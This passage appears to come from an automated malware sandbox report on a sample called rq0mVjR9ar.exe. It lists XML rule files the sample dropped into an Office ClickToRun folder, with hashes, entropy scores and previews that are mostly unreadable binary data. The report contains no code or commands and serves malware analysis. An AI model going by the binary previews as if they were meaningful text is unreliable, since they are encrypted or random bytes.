Preview:	<?xml`.....3U..U..K....N.d'.M.\|7.oK.\|E..j.)..j.L..k......G....xzj`..9Qk.zG+.........1.5..V;n.G..S^.....w.....[.~....;[.~T.F...t....+TJ..4.R.jzsv...Oj..V.?...B...Z...A,..dX:r.3.K.UH..I..:..C..].......T.}..H...1Y.,.C.B...>0-3)_..}]5{.....X..R..\|...m.C...+6.+.R&.;4'..&.7"J...i[...B..2.Q.oW..X.oDN(....Pv..e..N.6...F...=.!i.e(...w.....QJ.+.Z...$....D..y.z...wc.^...&.}7...}^...\..y....w?.WsE.,.nb.O.U.....K.c>......xC.....O.d....A..m..#C...\J..y.x..c....i\|.x.d...Y(..pJ.....;.......x..&.A_._.&.;M.._,.........o.\|/..1...\.^@..\|_U....g.8.g..+...R.Q\|.........c.:./..D...H......;n....V..I....3,.!<(.....T)(...K.......^._1...A.d..g...d."....z=@\..r..0c.2k<..2>c.oW.......n. x..C...C8qd.......S.....&.T..*Y.nC.23.....v.Y.....F\I.o..4..6.`%...-".....,2..h..!{.~.+...V0)...<....g'..xV..]H.O..Nx.)k.T.....Z..nj..b..m.].Z..S$u.'n.. ..gu..I..s....u_.L{..}.)...#N/....J?.9...o.#...>..~..I.?.D...!5...<..n\|..ZX...Z..p.W.j..f.~7%.L..hm?vS..K..'........P.CbB.~ay.W..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10450v3.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1387
Entropy (8bit):	7.839511841742781
Encrypted:	false
SSDEEP:	24:CY2L132EASoS3NTitv7PHCf9jJODPVMhOp4GYnXUFshWtkikr2BDe7K2iTkbD:wL15oqTitzC9UDd0OpByUxkipsKziD
MD5:	9574EE633A91CAE4174EB39D4624758A
SHA1:	C947A33D7F79A41E32764D16D8F2414FA3231A8A
SHA-256:	CB5E8385B15271D6F30C2D414D0EBCBE5720B86BA36B013F6BC2F1F99282D2CC
SHA-512:	C77D0C40C139DFDE948990EFA2B8261C0367BD2008BAC140780210B64CC7E7F03C8307C8EF96291B5161D5F6B5B37DB763991007D203EED140C6EF6B0F56A3A5
Malicious:	false
Preview:	<?xmly.V...G`.0<..u.'.>.....N.. .l@..{`.{w...XH).....i.=..L.6.c.4..uyx..c.i.v.F...~.d...y.Q....o.........el`...$L..._.B.n.d..B...rc.VU.{}..y...jLCnX..[~.<...(.q.M..[..0.#....[,.E..=8`.9.C}...;$...p.\|..8(..3......:.C..x4......~As........:.r..w.....q......B{...............sX.J.dk.8.w._.v....m......0..Q..4..\.I\|_9.....Q..v..v6nr..&L.N...7...].gT..l.w..@.T......]../b.HN..EfIN....}.e..lU........uE...W[.i`.@.F\|.+..{T..{.R.....7..o2...k'..%...P..8......xJ......o.A.2.@3..X..)(...Zl....5..,..U.9../....6..jQjl>%....V_.K...i.Z+0..L.o....w..Ch.;W.....iT.n~..,....WdX..n......u..U.......m[.z..^[...l..(.......&."........0..R..?..S...4...e..k...UM.....=.-.O....s0.r...'.VokUL$..x..!...Qq.sY2 ....\......K..D..0Z_"...[H...:..{J.uP.A..E..., .K..$..8.Eb.s...'j8D..pteq<..........7G<....a...e$...l.xq...R...;.g..}.....M.4Fd.X.oz..6A@...#.........zu...3.rj.$..&B........F....DF....J...@L../..X~_.;b...T.. x.K....pdLD..k\|..{c...gn.,.j(..=.H.8.uQ.Fb.O.o...o

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10625v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	3024
Entropy (8bit):	7.928826449508005
Encrypted:	false
SSDEEP:	48:hfAMZmXFEaLgbcDvOZSdJiUWVhDHBJknYADA/AdGkTCaIeqJD/7ywopaiD:hwF0bcDsSsBJ+YWd7CaIeqJD/7ep9
MD5:	ECD3C86B5D058949E5CF5561F4FDAECC
SHA1:	A946750EA86C08A9AEAF83AFD7BDDA666C7E95DD
SHA-256:	3395BEE03F43A8D508D511F6AAAB84DEBE3586D5943D95CED40976DD354C5AF4
SHA-512:	DFA328980AC222A71726BFE8F8ED4B8017C88B951656073506B4CC067E608B6BDF85D9BF7D42AC0599FA1C81FB9818CCC5910E102AD5CF6E1EDAB735B7875D41
Malicious:	false
Preview:	<?xmlB.B. ..n..4.a.....y.....'...(2..J.}...I.ND.j....a.(.f......:z...J. ......f..!.......J!.G.m4.@.....a........>..7..b5...h....0...!..lQ.?W...:..8....+\Vt.._........qj.9X..^..z.2...:..~...{.....'............c-...Ve..c...........@vD.t.d...>..........g...K..^...$........k.,....k..g...% .....'........i2v.{Jh._M.A$<......Q...+..Z9..jZ.6...t...X>.....H.p...4.B....G..aQ,...K...E.o.f....:t...w.4bOr\....O.{.t.~c....g....y4..t~. M.....H.i.2..)..A....s6@....k..`.x.n.$..LX.Q.W..y...n.....Q..XLU...Tj...P.N.h4...Z..s.O!..aR....4.M.yh...`.....N...+..eg,.....1O.&{...... ...>._....n.&R<......0..G.[...Q.P.W"m.....~..D;.A....\|....i.....Q.#....>.'....n..%.z.5.}>.a..=l.8.7/0.\|..gR..m.....M...-Ektb..*q.s..=.jJ5..E.i.#..Rha.a..v..A._..u..,oq.c.......@....j....,...q.6.\.=K;....;..{Br...s.hu[..."B...5.{.I.]..8.v.ya.+...;.$.q.hmS...Q...EZ.I....G-.d...&6.._-..`."..lb...h...Q.,......GD}J.........3..0.Y.X.u6vl.3.+...HK^r...\......eQh..?@..VC?.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10626v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1675
Entropy (8bit):	7.87047359019846
Encrypted:	false
SSDEEP:	48:05lIulM6RZy12vlK1rk+IZzxzoNwvb/Ve9iD:05lIu7RZXvlKmxdMc
MD5:	0F743A4DDA956805B5263A2839F5F32E
SHA1:	1960809F2F977679B20333F2A7E1AEE14073BD87
SHA-256:	85AD08D8A74A8C9D83197953D6A6F02F02C0A4B7242D9F4EE03F90A46750C8CE
SHA-512:	CD9C77A2185F44CA3BFAE8F876793C3170ACCFACF124B2B0F54528825F6D4B24EFCBBCD4AB69C1F24A7848F0880DBFEBE6011C0CB9A427912AF4E850E24A0BFC
Malicious:	false
Preview:	<?xml.a..F.~...Ye.......hrm%...mtH..!.G.e......d.D...g..\...?<......Q....vC.o..A.GD.$.ZH.. A."^j.4o..c..Vt. 6.K.y+&...3..4..>..O..+...a..j..#...}... .1JV..7#8#+N)....Y.6.1..).2.Y._..s.G..8.pC{G}..SJ.k.gl..Y....-.)7.0.V.....{.+7S.~......O..YW...I.v.g.#.\|^w...........1../....[.By...C.^g...../D.r....,.p.....R..Y&......=\|lc.....b.y?g..../C............r ..A...@R.Z.......w.;...~.B...,.eL..$..5........#...<...\|\.p...\|..4o.....>...K......66...t..`....j.$..........2j.D.Y...V..4......`...B.`9.j...v.?\^Eq.........]h.'.!....e&..4.....9.;)../...^vC..........U...U....Gb..-.z...j7C.....0..u..+...]..QO...y.....6...Z.^.......Q.Et.!.....B.A"D....F..paH.pb..]...a..m%T!5KWA.....I-c.r..m......w.G..yT....9.i..xuZ.2..7).u...'Q....#$./..;y....+..L.2.......:......-...q)...E...9....a.D.}?............hK.....e..<'>D..8r.i.U.".u...eG..Z....C.)..:es.m.n..."D...U.6..?..4..C.,8B.A_.7...},...........P!..y.b.G...g...+....h.>3.Wb.p5E...Z.?.A.....g.6e...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10627v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	2113
Entropy (8bit):	7.89678678096466
Encrypted:	false
SSDEEP:	48:8phIX0CPjnE7rVVjE60CTXpe6HLFHJm3ep1a6loFiD:8pSk+TE7rxj7Y6pHWMO0
MD5:	A5E7C8B86C5E8644AACF495CFC1CC354
SHA1:	3583477A9CB0334A18EC382854694C0ED004FFF4
SHA-256:	563BBB1901C7CF0EC4133EFBD523252E2FE97DAD218477EE1B5D8C0CA868BD0B
SHA-512:	4DC9858AA1BF02751967B3AA0248777C028757A7EC4353C0A209A0126CC0BAB18C134F821EAF593E1739D53A89E328FAE95E0CF20776D38C0E1C713008854125
Malicious:	false
Preview:	<?xmlt.G.t!?m..%.&..tG...M.......P..}...r.....@Y.....q..{d..1......QST.......q..I..e....5.F....\|.k.Y).up'...8...r.;...Dm.......A....0....+!.y.....eI......8(i(.4.r..'....N0?.9.s.K..s:R_..C..k4..`..lg\..BE%.....HKO.....5AK.3.....Q..5..6'.eM.....mk...[....-0....g2.....U.:...r.f..L9.b.b.U.v.._...'b..$..X.5...q.K.\...IW~....7.`...K.._.N.]...j...{.]..`..?...U?...$..1."m...3..I.H.a..........5#....G..a...Ya..C...\|"....nW.Kn"B...../.w.$.XL...`.oZ../a..>}N..n..J..%.R....../...#.g...'1.e..dl`..4.c...X.D.s..7!.}g.z.4.#...eF.._.l...:,...).Da./..D?.+.... ...C_?...#b.p.V..(;..g.m.'L.....i.Z2..}...J.n_......7..%(.K.!..........qvtg...{..mF .L..>>;&dR.cL. .L]...QQ...$.E.k[.X..9}G.1....2R..~..G9..nv.a..7cJ...<..?....@.........\|!G.l..`K.r..........t..v...bt.../n..iZMz.`...*=.zzr0.....L...Y^u.W.."....q...F.a.%Z.....~p......$....:.p...Te.w.(....+.<...4v..I\|.L..o.8..........e......b[.>lE.....r....W..k..E.n...<..2.,..}.d..Y.J.,.7No.u....tG....e...$

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10781v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	813
Entropy (8bit):	7.727906982957147
Encrypted:	false
SSDEEP:	24:E67c/i2hlwcRsnTn7s+Ym21H9ksipImUq1aNm2pziTkbD:PkoTn7/YmSnsdldiD
MD5:	99AD972BD9F8E06BC33E424A85F8A9DE
SHA1:	1A6ABE32E8A3EA57CC3931AB9B9DA3BEAD8A5F53
SHA-256:	D52F51E13D454A0865E62050CFCF2E8827C56B3EB799720414FB0D52EFE6F525
SHA-512:	A11E6EFF046334C6B847FF2D8CC0D4BDEB73B1705F4DD95F49AFA796D62F81D5E2E211A00E892A5BE86D8AE4E14EE365F1BA7985D68612B9B550DB4186EE0F16
Malicious:	false
Preview:	<?xml..i...r.D6..EO(/...y@.......8..G..+.D.....47e.......+.O...kpn%u..!..A{..q..fD.5P.>..B....:.3...ym.f..5.B/}x.S.f$..@....s/.....w...B!..f$.........Ek..%.3.[7I.=...K...T^O....iw....U.T..U.jz......(h.O&..a.Vi...o....?....zC... ..J.... D:....S..I...U..DN..2#t..Z..x..k.w..K.=..T......A.O....}J.d%.!..T..[B.L...S.<.P ..8W...p..@A.{D.9..._Qbh......=..Y...frKKm...D.e..c...b6;.#].....1........./......I4....,.z.z.O..w.....'.e....J.d.SJ.@u..s..#R..#..+N..m..79.....y...S.v.n...DA#...\|Z.......;-..N.._I?.v...s..A....D...X2....`.\|......._jN'._...@...5.a..{F.6..."..L..L.Ah......mnC..o14R_..u)..fD_.(.V6.?a./.<....Z...M...F.COa....R4..D=y.4r..T..>.......v.....(....z=J.w}[....qT...].l.`%..L$.&vrY..wr6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10784v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	2070
Entropy (8bit):	7.89241778672057
Encrypted:	false
SSDEEP:	48:mfzj12Ij/1XuWfXIpPMy0qImuY6G0HggUiD:mffjtHJn/V11HvT
MD5:	528E056365731A6CF9C15207A9117EAC
SHA1:	34D5A818DC55FA881DB1DE485A4ACAE5FEE92042
SHA-256:	2AF9E741EB790B26EE3DE4180A76B22E81E86D6A9DAAE2A03C6B846FA92C120D
SHA-512:	25FF37FD6834E8C4EDFFC25CE8AF0AFE5DF9D2C741FF6D801369C64038D2E2F44876C9AC8C3953853ABF5B970C29D6E995C5C4180240F1F89635085116C2ABAF
Malicious:	false
Preview:	<?xmlI..}.~X.....3m.jw..A..u.@e.".....AJ.....]E..N&./>...p&.ON3....K.Ua.5^..%...w...~....u..d!#^J1I.....<..P.k.Ot...........l...S.c..w1.8riq`.z4+ej#j....r.......i=(...O..z.i.F....1MoJ{o>Z..hx...~]C...[.P..Y.h.....i.S'.z.gh..2z...4.[T73bCz.9..../..(HU.Q..G.%...Z...;...}.v:+3^.#_...G....Zc%<.?..x..T..M.:...w".>...W.\|.E.8F.8.b.{...#...e.<....Q...u.....H... =....$..YU.<Z{.1.k..ZxJ.[...Q...}..HGy.G_=......1..I..H....`_U?%..].J%....f-...i..P%a.5...Jzo..89..".D./+...f...@...~..x....D..s...sy.#........uZ.J.y.Q]....y./...2ifP..tV..i.LN..$....MH.+.W...-N..73....I.....~zX..>........=?/...uZN.<$.#.@.......3n.......hm....1.EsN.!.AN.f.}..2.V..........W.d.k5..i......+`.'Ey.......to.0Q..6..W..1F......S..l.r.3.h;...W...t5..WL.e......6...HO.<74c..1....-........H...n>.Bd./hg...z.......... \m.E.3.8..h..4. .VT....2..OaEW.i..s..V..LG..H/yD...%.......+..Q....SA....n.....u.?...m.&.HX.P..n3.....,..4....u.....a..>.W...PP^/bu....\|3..bj...pb(..Y..F...z..".co'..7.x

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10800v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	789
Entropy (8bit):	7.663167772359355
Encrypted:	false
SSDEEP:	12:Usu8U8bI63/XS4W8pfcXta0p2n7y/W/KM3JhZlYbg00cIGI0l0D0geixpZacii9a:YmuEfYtaj7y/W7/AbQbfCjiTkbD
MD5:	D42C15E848646CDCAA137D6B21D9BBBE
SHA1:	2704826784F177BF233A87FD0609E119034F4091
SHA-256:	1F375497199AA0D07F1F4AF03B01CFD34723BC6B091D038642443D5CEBE1E79E
SHA-512:	8EDE0311274217D56C7791A30B43F6D579BC46FE9BC7577ED43AA847AEB257F350A7F9B2D4B8B1F01BACACC1D9F2BFE2D388B4C5B393BABA0C170938931017CD
Malicious:	false
Preview:	<?xmli.......C.....V...-..........._.Wu.0'.dyp.1..l.`.CHc.....1B.~..9[.^}.........:X.rF....K.S`.oFbo6...Vk.@.(.......~._ U.y..Ky=.a...5%!`0r..SN.F..'37...t._..<.1....(....P7.M..s~....`p.f%.$....7..q..gE.....&-.p3n......E.,.m....V1.zs....kN.......K.......C..........bvS....W.....}9.2.?=.m..)=.../......G._;..Wk).ir..:Q...gw.........`...)Ef........{.Z.[..J.7]...4b).O..GiYE.`.$E.5KL..!.7.Q..n.!.......`N.....Ok......}MW......i@.......&.j..Vr.;...u.P..c.C...WpG..#[.?.W.EU..J...4.q.q.g.A...f../....AT\|...E..D..GY...!..B.8B-M+x!.......:=..H2.SsC.w.....8.}KG......<..P..K0.U6....3\W:..:kgTj..T....;......oa.C3...].W.....,.C....d...6....t7..z.\|T'<(..%..)J.C $S.~ZxY.:A.d 6.J..B0.pr6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10801v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.93026395758286
Encrypted:	false
SSDEEP:	48:+NemtT47AHgmNU7zb3E8pOgrz5/GXJ45NaByBy9PxORHAOBuzFxU8jC9UH6FW+I8:LmG70QLEXJ0NaBykx4HAOBuP92UH6FWo
MD5:	5875525B3480FF1A9F6C78E19DFEB7D1
SHA1:	2FA8A836CB2CE378CC7211CB7DBE6C4C18F32D25
SHA-256:	F9537DD88D63DA5A5FC1469AE313A5805B2560DED5481597A616B945D898F9AF
SHA-512:	AAEC63BA3B04E1346E11898F9CD345C4BD166EAF830D9ABF72C536D7CD6C8C51844147D55B03BD4A2EF7608062B66625FEA373D50486678F722E79D9FD1E745E
Malicious:	false
Preview:	<?xml...w..a......M...@....D2....^"...e.Q......HX......r..D_.od.B.+1)...t.ES.(O..J..C...1zSoj..3.....V.A.WC......[Za.$T....w2...Y=.K.a....4.........s....3.......PM..5+.V....8..vY..0.7.)K.].......y...%...i.Z...7..H..;.Du.7i....t9W.PgL.RC.....;...2....r.o.o.>L.........u....7C.....(...C[...../(..u-..&C......(...".(.O.H...}...X^#.....A.......R....nm..6.?.....i;...I#.(....>K.. ....1.f........\.......q.........FL.i....'"...[D[..g....3..wna.%..........,q6.%..u.P...@CmM..,...aw..e.4].5I)..\..h....-U....8*.Z{....!D...w3...E.....qen.w..$.....m.(........#...'Q1y..............'.v....'...^.Z.Us.z..A.7.AZ<...H.w....n..XA......{..I+v&.....G6.I.u."...(..J......F.o..3........\|&.......N....X....k.%...."#.%....L../.$-9x.\.B.pZ.'..;...F,.....a./.H6...P.........F.V30K.\|...w.........;.h..Y.%.)v=D..R.....N..W....1).8.[.#..Zk=G..,......Q.K.d.......\|...._4..a+,.....k..u.N......{!j...Y..b<...&.!...._hyr$.Q.,..\|;.._$......@4.!....}...3uu...g.........`.!

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10802v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.9370062928541705
Encrypted:	false
SSDEEP:	48:y2XoHJNk14MAPdXyeDS+4qWAg/D1KjP8wxyylDhVOWPBo8NYlGUD8i59qef/amiD:boHYiZXvDS+4qW+xl9V3vYl9U0Q
MD5:	4184FFDD7353D3B3D9476714F8798C35
SHA1:	9B86FD4ECBBEE0F567D13C49EA396F81EEE7E2DE
SHA-256:	B727D1B272B49ABDBCA9742A7294726EC39DD46B3561FC608538DEAC931465F1
SHA-512:	831BCD0B7D2CCFDD14BBBEDEA35DC4C20A2EABBCBB005D80F103202F0396C56A467A8A92E414E9D0240E706F82DC49A64815A63DBB8B364F4C7E78E851A67EC4
Malicious:	false
Preview:	<?xml.Y.9P.........<3...+..i.!..O~..<.....T...<}..O.0._.M$K..?.>v.=..Ts~h..i.....N.Q....1.....fP.T..T.?..s+o..m3q.atvc./....Ic5.w.......T.%....x...of..U..!..le .....k.6)$.Q2.W...A..)n..L....8.K)U..62c..z...5...H;..........g...=..........G.>.#...J.!0m..B.'......&..i..B.....S.,~{..N......r....uF..g..9.k'.U .j..h#a3......M.1.. .X...p.j...I........ <....{...P..d.]Rs-........a......\..............{<Vg;....)%....Pd..D.U...\| .L!W.W.......Z\O.6..V..F.........L...xa..ltS....a".L...e.u..Vm......M.\6....O...t..w.~.I.^.F..Hlx....I.In%..s.g@....Wo..M>x...........RT.N5J...2?`eK5...M..+{.DW.o..0.pm....D...r.......gw....s.F.X.g.\...(+ =....^$.....Y?.;.5k.z{.......f..j'.. 7?E..#\gd.o......Pn....U-.6.q.Qy...r>T.....O..#a...8b..z".t..M+..0..u..=,Y.-...p..M..;.~.d.2V..C.Fz.Uln..g.....]X.$.g...c$<.}.q/-VHOTi.l...]D.....4..=u..D."L..5.ir..>}..I."U..f.sG..g\..5..U.Ux..W.`..n..U..5....w..;s.s.%.Djc."\|.........Y!.kO..e.\|*..$t..c.................c

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10803v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	4639
Entropy (8bit):	7.95324458197811
Encrypted:	false
SSDEEP:	96:8WYEZIEg5VQXYz7X8bZ/WoQoS2FkqQIW01fLiMRBt:5YEE5VZz7s37bmPIW2LRRj
MD5:	AA10CA16CB1A07472BDFFE1BB8EFF2EC
SHA1:	0365FD4D52E705402ECD4BE3B21CA80DC1D9EE15
SHA-256:	435E70DAF1F8213CCA2BD87B90213C8C2CD5D13F52A7B7FFC59C3961B4C1AD92
SHA-512:	8004391A6C6A563FE08A78462005CC1C6931B71590003EFB02725D3A1BE54D0BC86E5F65659AB46E8E73D9A32B2ED07A97514BD09E054DA2CD43475DE8BF9748
Malicious:	false
Preview:	<?xml.B.6.?u...rw..>.#[F....:....\..k.....Ijw.3......`..1.]......(.)^.?......n;.....2Hm..=..K)+w..%\|?......B\|v...I.2c....T.....c.Rr....;..F1.".T.....K.Z.o....#..s..sI.Ig.z1.......0..Z,q....n'.. .3.!...)N..\..z.U..O+.1<.;.PRdy9...$..3...-.X...,SU..b.F...h.4...m.j.P.4..#......x}4..[.C.G.....<\._.......f.H..~n0..T.............H...L... .%...k...$..jq...0.Bj.ABZ..q...........v.J.Q.%.....W.R.%i...$......v.......i...B..Q<-.q8=..L..P@..d..:.B).:)i..PXq.)..........M.k.]h...L..2)c~'{#............oX}C.1.:.p..X.....Q..3o.u'7._..O....&,V.O.6.........yU>.+E;[.=..v....]+:s..+e.C.!A.4o...u....(..@..9.p.P#G...D.?..".LQ...7...H.j.....p..{.i-.u./g./I..u ..u.....d...... .k.iaR.....-&.......D4.....5...mo..^^....,OT..uhX...;.q.......@.u.w..2C8R.4.8-C...].4.....bVfy.wY...,\|..... ..]r.\.w.w.V.^.r.5.q..s..d)B.^../.i...Ew..../V..........5f...J..q..Aj..[zW.\.f..<....)..B;\.dt8.-.x.zf.....V...).J......N...4..T`....H....7.O.....t..z9v^....L+.-.L.c.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10807v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1329
Entropy (8bit):	7.860512170916383
Encrypted:	false
SSDEEP:	24:4GWWWzkA/ngZW5Bdoolc2CxNdbEUjr/Ekq9XN0fdij9hG3trBcWAvfIJ7iTkbD:4yWzkX8BdArNdbESr/tmNydqU3rAvfOx
MD5:	E126037CA4CF025BFF9E0577EAA3744B
SHA1:	78CD6CCC366D392D6CA03BF68FFFDC7DB76FC331
SHA-256:	67E1140D94D21B678BA940899FDCE12283CB2D825410BA4A1E9DA642E5C04F36
SHA-512:	9A2D334BD154590D158D891CFFC3869DCFD49D22208ACC1B5DBE34C3485A9B220D16DEABC16054E9AF15CCCF4FC149CB983C903EF24C5C9FE0D81BC5DC54E893
Malicious:	false
Preview:	<?xml&..,T.#.Z..}d...<N#......I.^....?.i..L.8....5...&cg^.0z...~.L.>...r...{..n.d....z}..U..',...w9..QbN.=t4$...3.....q.c.....@...!....3.1.\...5v...+W.u,..N:..p&..,....P..Mu...'..YY.&.~.t.ii..{.a.{A.P..+.?^C.......>A..P\|.......l.1.....?.Le..dtvR.m.m.,.\..X.,}.6V.t....-R.{....c....h..@......Y....n...=-.3.s.D.\|=.......K/SM....T....7....J..mW(..T..I.4.i..K(.G5r...b.....md.kh..R.e..x..T.Sd......+...S..AA.9n...r.^....s.....C.d.j..-.......f."......U.....#.c#.]J..^.H@....Y...D,[.)Z.$...=#.R.0...1J....O.+......Y..1[..v...n.)....#..o....v.e`9...y......c...9.l.s...(.!....s....+...%....i.3A.@<....+.S9.0.0.H.q.....K..\m{D.3..f.s)+...a...]6.0.z..a.&q.ya.T.t)...$3....^.g.."j.G.i....;....f<..NG..H..{...R.#....&D\(.a.....!...."[...%..^..x.~Xs.......[+....@.Ar....g!..vIS..j]A\H ..]...X.w.....()..g.?\|.......,..r.(.......a........vY.q..:i.../..\|...?n.fJ#g..>.21D..#0).:l.....*KK...}Q..{l.-..+....r.[$.h......&.?....^p4@.]...x...v...>.;.....R...........dR.V.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10808v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1395
Entropy (8bit):	7.868181857530286
Encrypted:	false
SSDEEP:	24:8/aFfaRRp+8FBkSY5uR+vCDHkfIZTW7BMtYHRWYe/D7HUDlm1iqHiTkbD:ZaF+CTYoR+vCDHalHRWYYAefCiD
MD5:	9F005E538A4AEC82501992FBBC1AE499
SHA1:	F01E5CD452BDC4F3FE17210268E64C9AD014F52C
SHA-256:	88FFE6EA7E0643CF813038C72F2014BBDA4D18AF240ACCC1FF509F7023D14293
SHA-512:	819A2CD7278008A28A1DF4FA4846D88BBAB66E5E31F77D803A9BC10C64306C880DB7D75BBB534CBDCEA9AA81B3743A9CDF35956A5DB8048E1301DA524FCB08B7
Malicious:	false
Preview:	<?xml[.M..h..o..BN...M.QA..1...D....p.I..3J....L w...d.4..&.U....C&.?.?.D...[p=.... /..ZG.gb;....\.B..-.../....o..z_.0p..........O&:.i...a2Y.....X.....H..R...-.}o?~{.....U1.k$+..$[..5..o.,.t5..ao{.9.p]x...+V..C$.x...H...9K.d...7A!D..X....<...a.....#.(...=S.'.H.....g....s.X.....i.ILb.#/........=c8L;.......Q....G.!..n$.v......F..Vpi.."@.....xp..Q.........?....R..9p.]..}.w.Ed..3.V....B .....;o2..O..CcgY0..;..y...l.@.H.......`..w...{."C.R...\o<.].......$.3...w.}..2.vp.J..K`..6F..vq...bG.Z<o..!v.u.b.W_f..`. l<Z..{.L...E..`....#.J.8..Nf(2.}.........v.N$x.~.(....{B..b..... W....`....!..}..."..lq.&....Ut.f.{P<..!./..g..`.@r..2...2T....M.PM.#...?.S$..KU.x.._.4.........+....w...Su.e....2e....=..,w.'.S..$.G.....Qc..6o3T.d.UG.[......X...;....Abo...R.........a.Y4..Hh...VO6l..\|0.B..o.....q]...y.....I.t.Rw'.....xi.b&.7.O..E .<K_D780.[ww...xy{F...rle.^.XL[.lc....Y.....0t.......aG....@.Q(..'......B[.J#.T.$.To~.SD.d..*.O.\|EyN.8]....I...jXL...^....g.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702851v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1739
Entropy (8bit):	7.883598453081442
Encrypted:	false
SSDEEP:	48:Yj2VsOpbyPlwQc1IXEKM1y9FJq5mIy3+aEmYiD:YC4twb4ENVbK
MD5:	0B661328451FF9BED3D56D562E90F421
SHA1:	940A3243915DAAE84D639F9C6FFD8E27F25B73EA
SHA-256:	D04A3DE73955010BED8BBE942D6AE8AD936670FF9F0BF645E3135D30BE48D5D7
SHA-512:	E6E4581D88FC48BD7DDAA84CB60AB64825D26DFB6F956741F606423AD86843761A8210914CF53B3173424CB2E92FC9C134B88A8B11006E0A6861AC5DE772D25A
Malicious:	false
Preview:	.<?\|..[bE.(.....,....2.a.......+......w<G......t.?.~Y..@S..Em.mz9....g..A...nB.R...A${..............[_$R.........8J.../z[iYk~z"7......1.\|...b.uG.j.S......Q.m)...m..<...4.e.=A...@.g..x-F...!....6NKop1...._...."....^u<....A!.6V.-".[..F.nm..(.V.O.....\..u..E..(..Yw..EXi.6&...o......'.[.]..S...S^4.`kt.M<.5o]._,..oZ\|{.n..A..0`l....u.=6.....t~v..sG.\|.I.1.'..j$XP..&6.@b...Z..vCKS.....(....OJzv#i.$2..3."..($. Bynynt6(7.........!.Di..r..W.....rW....^...tF..q.yDeta.....m..Z_..Z...z...@.1L..S.%I..#......d.<....w[(..#)...PY....^b'R.B.@...'g.....F..XM..4.S.. ....uL)...z..)u.(...WT...8..C\|...>...s2.="0...R.H.U..X.P.pl..9........>.>w.K../..:...5...>.v.A..iAj`....,HW....\p.c.@..xl..K8r'?-"z.+..'...2....../... .....>.-0.c5.\|....,.../-........1.j.=.z....T...UxEX..Wd`.k.m.u...dy._6K.....G...%.2}.r....Fu...........v....!jx'.]........&...q..T.......x.(v......'....L.u....B..?..t.\........L..+ ."0.f!...B.......0SZ'...D..?[d..:s..Y.hq.I{.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702900v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1708
Entropy (8bit):	7.893211831713822
Encrypted:	false
SSDEEP:	48:2dgz5XORbN/6EhRH0N1g7wqyvg52eQK9ZyAiD:2dDyEbUNm7wBvg525
MD5:	92EFAEA02F578BC7EABFA0D694E07DAE
SHA1:	4E8B3BD36C779C38D56EBDB4C887899A4E921533
SHA-256:	9924ACB4B23E65E6EB4CC512D7BE453C7427673B6BBD28EABF26F6D2C058BFC9
SHA-512:	758CBDAC47B967CA25DA04AD478A81CFEE168133AC12211F7FDB3ED723EE64E3227C5866DBA7C2D0FD761B66C9711BBE86C3430F025A1AD294651956A20A754C
Malicious:	false
